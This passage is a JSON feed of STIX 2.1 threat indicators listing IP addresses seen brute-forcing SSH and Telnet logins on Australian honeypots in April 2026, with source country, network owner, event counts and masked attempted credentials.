      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, x***i. Passwords observed (masked): 1************0, 1*****:, 3***********4, 3**********4, A********&.",
      "id": "indicator--2ed90b94-44fd-44b8-a53f-b787e49cd8af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.107.156.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--b4496946-3d13-4eaf-9ee1-d54ebc90b633",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.232.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--72eae20a-15ed-4e1a-af84-ab9c9738618f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.242.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--5edda73e-acc8-4a2b-9ad6-757a88a9e839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.179.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): r**t. Passwords observed (masked): q*******3.",
      "id": "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G**************************************************1, G**********************************1, U****************************1. Passwords observed (masked): H**********************3, C***************e.",
      "id": "indicator--63d6a868-56ae-4f8d-9c4a-3b85d684c11b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.104.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--01b64f31-1872-4e42-809f-9456d4389fac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.70.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--69119d6e-b02d-41db-b31c-3498231dec56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.92.179.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 4804. Organisation(s): Microplex PTY LTD.",
      "id": "indicator--0cc7d6ab-cba3-4d2d-ba8c-c7f852a25042",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.216.244.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--2430c931-100c-4c41-8e7d-348ce7cf8e54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.98.76.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 34187. Organisation(s): LLC Renome-Service.",
      "id": "indicator--7f062431-d18c-416b-9e31-5b4eec18ddba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.245.119.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0d2f52e6-5bf6-495b-b276-e3b9e1a8141a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--cc8732e8-d569-4f6c-bdbe-ffd1207ea461",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.198.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266207. Organisation(s): Onitel Telecomunicacoes.",
      "id": "indicator--bdf58925-9691-42cb-b00a-1d57d7fcee39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.187.235.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--ced9663e-397e-45fe-918c-22361459ea19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.157.176.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--31bdbadf-bbd8-4120-9c89-75a4b5a6268e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.131.64.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:15:10.000Z",
      "valid_until": "2026-05-29T17:15:08.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 9341. Organisation(s): PT INDONESIA COMNETS PLUS.",
      "id": "indicator--14a4f3e1-45f1-4180-a0e5-10f219688c30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.49.188.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 133118. Organisation(s): China Unicom IP network.",
      "id": "indicator--e3f5d524-ed6c-4671-b17d-6613f131c15b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.74.128.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4e028a77-f322-4a79-8a61-6d2801855a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.249.89.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 508. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, m*****r, u**r, 1****6. Passwords observed (masked): 1****6, 1**4, 1***5, a****3, a***n.",
      "id": "indicator--311bcff8-b450-4c33-b129-3125fccba968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d2bd4395-0676-425d-8361-c4f51a5d3186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, 4******K, H**********6, I*************n.",
      "id": "indicator--446dab3b-e8c7-449d-8da9-de584ba0e886",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.5.169.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, 4******K, H**********6, I*************n.",
      "id": "indicator--61f74065-1581-44a9-8e61-7b07b91085c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA.",
      "id": "indicator--0883adf5-4a0b-41d2-904f-87df81fd2f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.133.121.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A.",
      "id": "indicator--d33a2c25-b221-4df3-8b23-0538cc36c334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.95.224.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d54e58a6-8127-43e9-ac68-66c44bc471a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.98.137.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): t**t. Passwords observed (masked): r********5.",
      "id": "indicator--8b2b11ce-a9a8-4a02-aee3-86453a213e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.128.55.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 528. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, d*******r. Passwords observed (masked): a***n, 1**4, 1****6, p******d, 1******8.",
      "id": "indicator--9ed179cc-d30f-46ed-af11-fea77912e5d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 199428. Organisation(s): Alvaro Navas. Usernames observed (masked): r**t. Passwords observed (masked): a***n, p******d, r**t.",
      "id": "indicator--410b9e82-bea4-4fde-9809-2d032630fb91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.121.79.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:15:11.000Z",
      "valid_until": "2026-05-29T18:15:09.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): [****].",
      "id": "indicator--b34904ea-2759-4e00-a35e-2934faf62aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.53.236.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--3bf70f86-8d41-407e-893d-cc8144091b16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 17222. Organisation(s): MUNDIVOX DO BRASIL LTDA. Usernames observed (masked): r**t. Passwords observed (masked): w*****3.",
      "id": "indicator--3d724366-9a80-4355-8499-0575b74ac06f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.16.96.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1157. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): B*************g, B**************!, B**************1, B***************!, B****************3.",
      "id": "indicator--bfbf45e5-5a3a-4eac-89a8-0e78e4e4128c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): s******3.",
      "id": "indicator--f9aead1a-a21b-49d5-831f-f98d1ab7645c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.240.17.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
